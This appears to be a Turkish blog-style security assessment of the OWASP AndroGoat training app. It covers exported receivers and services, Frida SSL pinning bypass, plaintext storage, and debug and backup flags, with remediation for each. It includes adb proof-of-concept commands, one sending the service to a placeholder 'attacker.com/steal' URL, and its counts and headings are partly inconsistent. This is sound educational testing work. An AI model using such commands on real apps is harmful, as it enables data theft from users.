OWASP GOAT Mobil Uygulama Güvenlik Zafiyet Raporu (2025)

Rapor No: GOAT-2025-06-28
Hedef Uygulama: owasp.sat.agoat
Versiyon: 1.0
Test Tarihi: 28 Haziran 2025
Test Türü: Dinamik ve Statik Güvenlik Analizi
Kapsam: Android Mobil Uygulama
Test Araçları: Frida, ADB, Burp Suite, Jadx, SQLite Browser
Hazırlayan: Güvenlik Araştırmacısı
Standartlar: OWASP MSTG v2, CVSS v3.1, ISO/IEC 27001

Yönetici Özeti

owasp.sat.agoat uygulaması, mobil uygulama güvenliği açıklarını eğitimsel amaçla sergileyen bir OWASP projesidir. Gerçekleştirilen güvenlik testi sonucunda 15 adet kritik ve yüksek riskli zafiyet tespit edilmiştir. Bu zafiyetler, veri sızıntısı, yetkisiz erişim, ağ trafiği manipülasyonu ve güvenli olmayan veri saklama gibi kritik güvenlik ihlallerini içerir.

Toplam Risk Dağılımı:

  • Yüksek (High): 7
  • Orta (Medium): 4
  • Düşük (Low): 0

Uygulama, üretim ortamında kullanılmamalıdır. Tespit edilen zafiyetler, gerçek dünya mobil uygulamalarında veri ihlallerine, hesap ele geçirilmelerine ve sistemli saldırıların kapısını aralayabilir.

Detaylı Zafiyet Analizi

 Zafiyet #1: Açık Broadcast Receiver (MSTG-APP-08)

Risk Seviyesi: Yüksek (CVSS: 7.5)

Konum: ShowDataReceiver

Açıklama:

Receiver, exported=”true” olarak tanımlanmış ve dış uygulamalar tarafından tetiklenebilir. Bu, yetkisiz veri erişimine yol açar.

adb shell am broadcast -a android.intent.action.VIEW -n owasp.sat.agoat/.ShowDataReceiver

Proof of Concept:

  • exported=”false” olarak ayarlanmalı.
  • Gerekliyse, özel permission ile korunmalı

Zafiyet #2: Yetkisiz Service Erişimi (MSTG-APP-07)

Risk Seviyesi: Yüksek (CVSS: 8.1)

Konum: DownloadInvoiceService

Açıklama:

Hizmet, exported=”true” olduğu için kötü niyetli URL’ler ile veri çalınabilir.

Proof of Concept:

adb shell am startservice -n owasp.sat.agoat/.DownloadInvoiceService –es “invoice_url” “http://attacker.com/steal”

  • Hizmet exported=”false” yapılmalı.
  • Gelen parametreler doğrulanmalı.

Zafiyet #3-4: SSL Pinning Bypass & MITM (MSTG-NET-03)

Risk Seviyesi: Yüksek (CVSS: 9.1)

Açıklama:

Frida ile CertificatePinner, TrustManagerImpl ve OkHTTP hook’lanarak trafik tamamen dinlenebilir.

Remediation:

network_security_config.xml ile sertifika sabitleme (pinning) yapılmalı.

TLS 1.3 zorunlu kılınmalı

Zafiyet #5: Güvenli Olmayan Veri Saklama – SQLite (MSTG-STORAGE-01)

Risk Seviyesi: Orta (CVSS: 6.2)

Konum: InsecureStorageSQLiteActivity

Açıklama:

Kullanıcı adı ve şifreler plaintext olarak SQLite veritabanına kaydediliyor.

Proof of Concept:

INSERT INTO users (username, password) VALUES(‘hh’, ‘hh’)

Remediation:

  • Veritabanı SQLCipher ile şifrelenmeli.
  • Şifreler hashlenmeli (bcrypt, scrypt).

Zafiyet #6: Geçici Dosyada Hassas Veri (MSTG-STORAGE-11)

Risk Seviyesi: Yüksek (CVSS: 7.8)
Konum: /data/data/owasp.sat.agoat/users8633548028566675135tmp
İçerik:

username is 66

password is 66

Remediation:

  • Hassas veriler geçici dosyalara yazılmamalı.
  • debuggable=”false” yapılmalı.

Zafiyet #7: Uygulama Debuggable (MSTG-CODE-02)

Risk Seviyesi: Yüksek

Açıklama:
Uygulama üretim (release) modunda bile debuggable olarak derlenmiş. Bu, saldırganların:

  • run-as komutuyla uygulama verilerine erişmesine,
  • Frida, JDB gibi araçlarla runtime hooking yapmasına,
  • Bellekten hassas veri (token, şifre) çalmasına olanak tanır.
    Remediation:
  • Release build’larda android:debuggable=”false” yapılmalı (veya hiç belirtilmemeli — varsayılan false).

Zafiyet #8: Açık Broadcast Receiver (MSTG-APP-08)

Risk Seviyesi: Yüksek
Açıklama:
ShowDataReceiver, dış uygulamalar tarafından tetiklenebilir (exported=”true”). Bu, yetkisiz veri erişimi veya bilgi sızıntısına yol açabilir.
Remediation:

  • exported=”false” yapılmalı.
  • Gerekliyse, özel permission ile korunmalı.

Zafiyet #9: Açık Service (MSTG-APP-07)

Risk Seviyesi: Yüksek
Açıklama:
Hizmet, dış uygulamalar tarafından başlatılabilir. Kötü niyetli bir uygulama, bu hizmete zararlı URL gönderebilir ve veri çalabilir.
Remediation:

  • exported=”false” yapılmalı.
  • Gelen parametreler mutlaka doğrulanmalı.

Zafiyet #10: Açık Deep Link (MSTG-APP-08)

Risk Seviyesi: Orta
Açıklama:
Bu aktivite, androgoat://vulnapp şeklindeki deep link’lerle erişilebilir. URL parametreleri kontrol edilmezse, Open Redirect, XSS veya veri sızıntısı riski doğar.
Remediation:

  • Deep link’lerde gelen parametreler doğrulanmalı.
  • WebView kullanılıyorsa, javascript: şeması engellenmeli.

Zafiyet #11: AllowBackup Açık (MSTG-STORAGE-10

Risk Seviyesi: Orta
Açıklama:
Uygulamanın verileri adb backup komutuyla kolayca yedeklenebilir. Bu, shared_prefs, databases, files gibi hassas verilerin sızmasına yol açar.
Remediation:

  • android:allowBackup=”false” yapılmalı.

Zafiyet #12: External Storage İzinleri (MSTG-STORAGE-02)

Risk Seviyesi: Orta
Açıklama:
Uygulama, external storage’a (SD kart) yazma ve okuma izni almış. Bu, hassas verilerin her uygulama tarafından okunabilmesine yol açar (özellikle Android 9 ve altı sürümlerde).
Remediation:

  • External storage’a hassas veri yazılmasın.
  • Gerekirse, EncryptedFile ile şifrelenmeli.

 Önerilen Güvenlik Önlemleri

  1. Tüm dışa aktarılan (exported) bileşenler exported=”false” yapılmalı.
  2. SSL Pinning, NetworkSecurityConfig ile uygulanmalı.
  3. Hassas veriler asla plaintext olarak saklanmamalı.
  4. Logcat, clipboard, klavye önbelleği gibi kanallardan veri sızıntısı engellenmeli.
  5. Release build’larda debuggable=”false” ve allowBackup=”false” olmalı.
  6. Girdi doğrulama ve output encoding zorunlu kılınmalı.

Uygulama analizi sırasında kullanılan frida scriptlerini Github adresimde paylaştım : Frida-Komutlar-/ at main · MehmetKg/Frida-Komutlar-

Allsafe apk analizini buradan okuyabilirsiniz : allsafe android app analizi (2025)

About The Author

Reply